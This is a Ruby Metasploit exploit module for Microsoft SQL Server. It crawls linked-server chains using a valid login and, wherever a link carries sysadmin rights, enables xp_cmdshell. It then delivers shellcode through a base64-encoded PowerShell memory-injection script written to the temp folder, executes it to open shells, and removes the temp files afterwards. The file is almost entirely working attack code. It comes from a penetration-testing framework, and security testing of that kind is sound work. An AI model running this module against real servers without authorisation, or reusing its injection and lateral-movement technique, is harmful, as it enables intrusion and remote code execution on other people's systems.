1
##
2
# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
8

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  include Msf::Exploit::Remote::MSSQL
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::CmdStager
12

13
  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
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        'Description' => %q{
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          This module can be used to crawl MS SQL Server database links and deploy
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          Metasploit payloads through links configured with sysadmin privileges using a
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          valid SQL Server Login.
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          If you are attempting to obtain multiple reverse shells using this module we
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          recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
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          up a exploit/multi/handler to run in the background as a job to support multiple incoming
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          shells.
27

28
          If you are interested in deploying payloads to specific servers this module also
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          supports that functionality via the "DEPLOYLIST" option.
30

31
          Currently, the module is capable of delivering payloads to both 32bit and 64bit
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          Windows systems via powershell memory injection methods based on Matthew Graeber's
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          work. As a result, the target server must have powershell installed. By default,
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          all of the crawl information is saved to a CSV formatted log file and MSF loot so
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          that the tool can also be used for auditing without deploying payloads.
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        },
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        'Author' => [
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          'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
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          'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
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        ],
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        'Platform' => [ 'win' ],
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        'Arch' => [ ARCH_X86, ARCH_X64 ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
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          ['URL', 'http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
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          ['URL', 'http://www.exploit-monday.com/2011_10_16_archive.html']
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        ],
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        'DisclosureDate' => '2000-01-01',
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        'Targets' => [
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          [ 'Automatic', {} ],
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        ],
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        'CmdStagerFlavor' => 'vbs',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
62

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    register_options(
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      [
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        OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
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        OptString.new('DEPLOYLIST', [false, 'Comma separated list of systems to deploy to']),
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        OptString.new('PASSWORD', [true, 'The password for the specified username'])
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      ]
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    )
70

71
    register_advanced_options(
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      [
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        OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
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      ]
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    )
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  end
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  def exploit
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    # Display start time
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    time1 = Time.new
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    print_status("-------------------------------------------------")
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    print_status("Start time : #{time1.inspect}")
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    print_status("-------------------------------------------------")
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    # Check if credentials are correct
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    print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
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    if !mssql_login_datastore
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      print_error("Invalid SQL Server credentials")
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      print_status("-------------------------------------------------")
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      return
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    end
93

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    # Define master array to keep track of enumerated database information
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    masterList = Array.new
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    masterList[0] = Hash.new            # Define new hash
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    masterList[0]["name"] = ""          # Name of the current database server
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    masterList[0]["db_link"] = ""       # Name of the linked database server
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    masterList[0]["db_user"] = ""       # User configured on the database server link
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    masterList[0]["db_sysadmin"] = ""   # Specifies if  the database user configured for the link has sysadmin privileges
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    masterList[0]["db_version"] = ""    # Database version of the linked database server
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    masterList[0]["db_os"] = ""         # OS of the linked database server
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    masterList[0]["path"] = [[]]        # Link path used during crawl - all possible link paths stored
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    masterList[0]["done"] = 0           # Used to determine if linked need to be crawled
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    shelled = Array.new                 # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
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    # Setup query for gathering information from database servers
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    versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
110
    (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
111
    (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
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    CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
113
    -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
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    master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
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    # Create loot table to store configuration information from crawled database server links
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    linked_server_table = Rex::Text::Table.new(
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      'Header' => 'Linked Server Table',
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      'Indent' => 1,
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      'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os', 'link_state']
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    )
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    save_loot = ""
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    # Start crawling through linked database servers
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    while masterList.any? { |f| f["done"] == 0 }
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      # Find the first DB server that has not been crawled (not marked as done)
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      server = masterList.detect { |f| f["done"] == 0 }
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      # Get configuration information from the database server
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      sql = query_builder(server["path"].first, "", 0, versionQuery)
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      result = mssql_query(sql, false) if mssql_login_datastore
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      parse_results = result[:rows]
133
      parse_results.each { |s|
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        server["name"] = s[0]
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        server["db_user"] = s[1]
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        server["db_sysadmin"] = s[5]
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        server["db_version"] = s[3]
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        server["db_os"] = s[4]
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        server["numlinks"] = s[6]
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      }
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      if masterList.length == 1
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        print_good("Successfully connected to #{server["name"]}")
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        if datastore['VERBOSE']
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          show_configs(server["name"], parse_results, true)
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        elsif server["db_sysadmin"] == 1
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          print_good("Sysadmin on #{server["name"]}")
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        end
148
      end
149
      if server["db_sysadmin"] == 1
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        enable_xp_cmdshell(server["path"].first, server["name"], shelled)
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      end
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153
      # If links were found, determine if they can be connected to and add to crawl list
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      if (server["numlinks"] > 0)
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        # Enable loot
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        save_loot = "yes"
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158
        # Select a list of the linked database servers that exist on the current database server
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        print_status("")
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        print_status("-------------------------------------------------")
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        print_status("Crawling links on #{server["name"]}...")
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        # Display number db server links
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        print_status("Links found: #{server["numlinks"]}")
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        print_status("-------------------------------------------------")
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        execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
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        sql = query_builder(server["path"].first, "", 0, execute)
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        result = mssql_query(sql, false) if mssql_login_datastore
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169
        result[:rows].each { |name|
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          name.each { |name|
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            # Check if link works and if sysadmin permissions - temp array to save orig server[path]
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            temppath = Array.new
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            temppath = server["path"].first.dup
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            temppath << name
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            # Get configuration information from the linked server
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            sql = query_builder(temppath, "", 0, versionQuery)
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            result = mssql_query(sql, false) if mssql_login_datastore
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            # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
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            if result[:errors].empty? and result[:rows] != nil then
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              # Assign db query results to variables for hash
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              parse_results = result[:rows]
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              # Add link server information to loot
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              link_status = 'up'
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              write_to_report(name, server, parse_results, linked_server_table, link_status)
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              # Display link server information in verbose mode
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              if datastore['VERBOSE']
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                show_configs(name, parse_results)
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                print_status("  o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
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              else
194
                if parse_results[0][5] == 1
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                  print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
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                else
197
                  print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
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                end
199
              end
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201
              # Add link to masterlist hash
202
              unless masterList.any? { |f| f["name"] == name }
203
                masterList << add_host(name, server["path"].first, parse_results)
204
              else
205
                (0..masterList.length - 1).each do |x|
206
                  if masterList[x]["name"] == name
207
                    masterList[x]["path"] << server["path"].first.dup
208
                    masterList[x]["path"].last << name
209
                    unless shelled.include?(name)
210
                      if parse_results[0][2] == 1
211
                        enable_xp_cmdshell(masterList[x]["path"].last.dup, name, shelled)
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                      end
213
                    end
214
                  else
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                    break
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                  end
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                end
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              end
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            else
220
              # Add to report
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              linked_server_table << [server["name"], server["db_version"], server["db_os"], name, 'NA', 'NA', 'NA', 'NA', 'Connection Failed']
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223
              # Display status to user
224
              if datastore['VERBOSE']
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                print_status(" ")
226
                print_error("Linked Server: #{name} ")
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                print_error("  o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
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                print_status("    Failure could be due to:")
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                print_status("    - A dead server")
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                print_status("    - Bad credentials")
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                print_status("    - Nested open queries through SQL 2000")
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              else
233
                print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
234
              end
235
            end
236
          }
237
        }
238
      end
239
      # Set server to "crawled"
240
      server["done"] = 1
241
    end
242

243
    print_status("-------------------------------------------------")
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245
    # Setup table for loot
246
    this_service = nil
247
    if framework.db and framework.db.active
248
      this_service = report_service(
249
        :host => mssql_client.peerhost,
250
        :port => mssql_client.peerport,
251
        :name => 'mssql',
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        :proto => 'tcp'
253
      )
254
    end
255

256
    # Display end time
257
    time1 = Time.new
258
    print_status("End time : #{time1.inspect}")
259
    print_status("-------------------------------------------------")
260

261
    # Write log to loot / file
262
    if (save_loot == "yes")
263
      filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"
264
      path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers", this_service)
265
      print_good("Results have been saved to: #{path}")
266
    end
267
  end
268

269
  # ---------------------------------------------------------------------
270
  # Method that builds nested openquery statements using during crawling
271
  # ---------------------------------------------------------------------
272
  def query_builder(path, sql, ticks, execute)
273
    # Temp used to maintain the original masterList[x]["path"]
274
    temp = Array.new
275
    path.each { |i| temp << i }
276

277
    # Actual query - defined when the function originally called - ticks multiplied
278
    if path.length == 0
279
      return execute.gsub("'", "'" * 2**ticks)
280

281
    # openquery generator
282
    else
283
      sql = "select * from openquery(\"" + temp.shift + "\"," + "'" * 2**ticks + query_builder(temp, sql, ticks + 1, execute) + "'" * 2**ticks + ")"
284
      return sql
285
    end
286
  end
287

288
  # ---------------------------------------------------------------------
289
  # Method that builds nested openquery statements using during crawling
290
  # ---------------------------------------------------------------------
291
  def query_builder_rpc(path, sql, ticks, execute)
292
    # Temp used to maintain the original masterList[x]["path"]
293
    temp = Array.new
294
    path.each { |i| temp << i }
295

296
    # Actual query - defined when the function originally called - ticks multiplied
297
    if path.length == 0
298
      return execute.gsub("'", "'" * 2**ticks)
299

300
    # Openquery generator
301
    else
302
      exec_at = temp.shift
303
      quotes = "'" * 2**ticks
304
      sql = "exec(#{quotes}#{query_builder_rpc(temp, sql, ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
305
      return sql
306
    end
307
  end
308

309
  # ---------------------------------------------------------------------
310
  # Method for adding new linked database servers to the crawl list
311
  # ---------------------------------------------------------------------
312
  def add_host(name, path, parse_results)
313
    # Used to add new servers to masterList
314
    server = Hash.new
315
    server["name"] = name
316
    temppath = Array.new
317
    path.each { |i| temppath << i }
318
    server["path"] = [temppath]
319
    server["path"].first << name
320
    server["done"] = 0
321
    parse_results.each { |stuff|
322
      server["db_user"] = stuff.at(1)
323
      server["db_sysadmin"] = stuff.at(2)
324
      server["db_version"] = stuff.at(3)
325
      server["db_os"] = stuff.at(4)
326
      server["numlinks"] = stuff.at(6)
327
    }
328
    return server
329
  end
330

331
  # ---------------------------------------------------------------------
332
  # Method to display configuration information
333
  # ---------------------------------------------------------------------
334
  def show_configs(i, parse_results, entry = false)
335
    print_status(" ")
336
    parse_results.each { |stuff|
337
      # Translate syadmin code
338
      status = stuff.at(5)
339
      if status == 1 then
340
        dbpriv = "sysadmin"
341
      else
342
        dbpriv = "user"
343
      end
344

345
      # Display database link information
346
      if entry == false
347
        print_status("Linked Server: #{i}")
348
        print_status("  o Link user: #{stuff.at(1)}")
349
        print_status("  o Link privs: #{dbpriv}")
350
        print_status("  o Link version: #{stuff.at(3)}")
351
        print_status("  o Link OS: #{stuff.at(4).strip}")
352
        print_status("  o Links on server: #{stuff.at(6)}")
353
      else
354
        print_status("Server: #{i}")
355
        print_status("  o Server user: #{stuff.at(1)}")
356
        print_status("  o Server privs: #{dbpriv}")
357
        print_status("  o Server version: #{stuff.at(3)}")
358
        print_status("  o Server OS: #{stuff.at(4).strip}")
359
        print_status("  o Server on server: #{stuff.at(6)}")
360
      end
361
    }
362
  end
363

364
  # ---------------------------------------------------------------------
365
  # Method for generating the report and loot
366
  # ---------------------------------------------------------------------
367
  def write_to_report(i, server, parse_results, linked_server_table, link_status)
368
    parse_results.each { |stuff|
369
      # Parse server information
370
      db_link_user = stuff.at(1)
371
      db_link_sysadmin = stuff.at(2)
372
      db_link_version = stuff.at(3)
373
      db_link_os = stuff.at(4)
374

375
      # Add link server to the reporting array and set link_status to 'up'
376
      linked_server_table << [server["name"], server["db_version"], server["db_os"], i, db_link_user, db_link_sysadmin, db_link_version, db_link_os, link_status]
377

378
      return linked_server_table
379
    }
380
  end
381

382
  # ---------------------------------------------------------------------
383
  # Method for enabling xp_cmdshell
384
  # ---------------------------------------------------------------------
385
  def enable_xp_cmdshell(path, name, shelled)
386
    # Enables "show advanced options" and xp_cmdshell if needed and possible
387
    # They cannot be enabled in user transactions (i.e. via openquery)
388
    # Only enabled if RPC_Out is enabled for linked server
389
    # All changes are reverted after payload delivery and execution
390

391
    # Check if "show advanced options" is enabled
392
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
393
    sql = query_builder(path, "", 0, execute)
394
    result = mssql_query(sql, false) if mssql_login_datastore
395
    saoOrig = result[:rows].pop.pop
396

397
    # Check if "xp_cmdshell" is enabled
398
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
399
    sql = query_builder(path, "", 0, execute)
400
    result = mssql_query(sql, false) if mssql_login_datastore
401
    xpcmdOrig = result[:rows].pop.pop
402

403
    # Try blindly to enable "xp_cmdshell" on the linked server
404
    # Note:
405
    # This only works if rpcout is enabled for all links in the link path.
406
    # If that is not the case it fails cleanly.
407
    if xpcmdOrig == 0
408
      if saoOrig == 0
409
        # Enabling show advanced options and xp_cmdshell
410
        execute = "sp_configure 'show advanced options',1;reconfigure"
411
        sql = query_builder_rpc(path, "", 0, execute)
412
        result = mssql_query(sql, false) if mssql_login_datastore
413
      end
414

415
      # Enabling xp_cmdshell
416
      print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
417
      execute = "sp_configure 'xp_cmdshell',1;reconfigure"
418
      sql = query_builder_rpc(path, "", 0, execute)
419
      result = mssql_query(sql, false) if mssql_login_datastore
420
    end
421

422
    # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
423
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
424
    sql = query_builder(path, "", 0, execute)
425
    result = mssql_query(sql, false) if mssql_login_datastore
426
    xpcmdNow = result[:rows].pop.pop
427

428
    if xpcmdNow == 1 or xpcmdOrig == 1
429
      print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
430
      if datastore['DEPLOY']
431
        print_status("Ready to deploy a payload #{name}")
432
        if datastore['DEPLOYLIST'] == ""
433
          datastore['DEPLOYLIST'] = nil
434
        end
435
        if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
436
          print_status("\t - Checking if #{name} is on the deploy list...")
437
        end
438
        if datastore['DEPLOYLIST'] != nil
439
          deploylist = datastore['DEPLOYLIST'].upcase.split(',')
440
        end
441
        if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
442
          if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
443
            print_status("\t - #{name} is on the deploy list.")
444
          end
445
          unless shelled.include?(name)
446
            powershell_upload_exec(path)
447
            shelled << name
448
          else
449
            print_status("Payload already deployed on #{name}")
450
          end
451
        elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
452
          print_status("\t - #{name} is not on the deploy list")
453
        end
454
      end
455
    else
456
      print_error("\t - Unable to enable xp_cmdshell on " + name)
457
    end
458

459
    # Revert soa and xp_cmdshell to original state
460
    if xpcmdOrig == 0 and xpcmdNow == 1
461
      print_status("\t - Disabling xp_cmdshell on " + name)
462
      execute = "sp_configure 'xp_cmdshell',0;reconfigure"
463
      sql = query_builder_rpc(path, "", 0, execute)
464
      result = mssql_query(sql, false) if mssql_login_datastore
465
    end
466
    if saoOrig == 0 and xpcmdNow == 1
467
      execute = "sp_configure 'show advanced options',0;reconfigure"
468
      sql = query_builder_rpc(path, "", 0, execute)
469
      result = mssql_query(sql, false) if mssql_login_datastore
470
    end
471
  end
472

473
  # ----------------------------------------------------------------------
474
  # Method that delivers shellcode payload via powershell thread injection
475
  # ----------------------------------------------------------------------
476
  def powershell_upload_exec(path)
477
    # Create powershell script that will inject shell code from the selected payload
478
    myscript = "$code = @\"
479
[DllImport(\"kernel32.dll\")]
480
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
481
[DllImport(\"kernel32.dll\")]
482
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
483
[DllImport(\"msvcrt.dll\")]
484
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
485
\"@
486
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
487
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\', ',0').sub(',', '')}
488
$size = 0x1000
489
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
490
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
491
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
492
$winFunc::CreateThread(0,0,$x,0,0,0)"
493

494
    # Unicode encode powershell script
495
    mytext_uni = Rex::Text.to_unicode(myscript)
496

497
    # Base64 encode unicode
498
    mytext_64 = Rex::Text.encode_base64(mytext_uni)
499

500
    # Generate random file names
501
    rand_filename = rand_text_alpha(8)
502
    var_duplicates = rand_text_alpha(8)
503

504
    # Write base64 encoded powershell payload to temp file
505
    # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
506
    # Also, line number tracking was added so that duplication lines caused by nested linked
507
    # queries could be found and removed.
508
    print_status("Deploying payload...")
509
    linenum = 0
510
    mytext_64.scan(/.{1,2500}/).each { |part|
511
      execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
512
      sql = query_builder(path, "", 0, execute)
513
      result = mssql_query(sql, false) if mssql_login_datastore
514
      linenum = linenum + 1
515
    }
516

517
    # Remove duplicate lines from temp file and write to new file
518
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
519
    sql = query_builder(path, "", 0, execute)
520
    result = mssql_query(sql, false) if mssql_login_datastore
521

522
    # Remove tracking tags from lines
523
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
524
    sql = query_builder(path, "", 0, execute)
525
    result = mssql_query(sql, false) if mssql_login_datastore
526

527
    # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
528
    # If running on 64bit system, 32bit powershell called from syswow64
529
    powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
530
    '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
531
    -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
532
    powershell_uni = Rex::Text.to_unicode(powershell_cmd)
533
    powershell_64 = Rex::Text.encode_base64(powershell_uni)
534

535
    # Setup query
536
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
537
    sql = query_builder(path, "", 0, execute)
538

539
    # Execute the playload
540
    print_status("Executing payload...")
541
    result = mssql_query(sql, false) if mssql_login_datastore
542
    # Remove payload data from the target server
543
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
544
    sql = query_builder(path, "", 0, execute)
545
    result = mssql_query(sql, false)
546
  end
547
end
548

549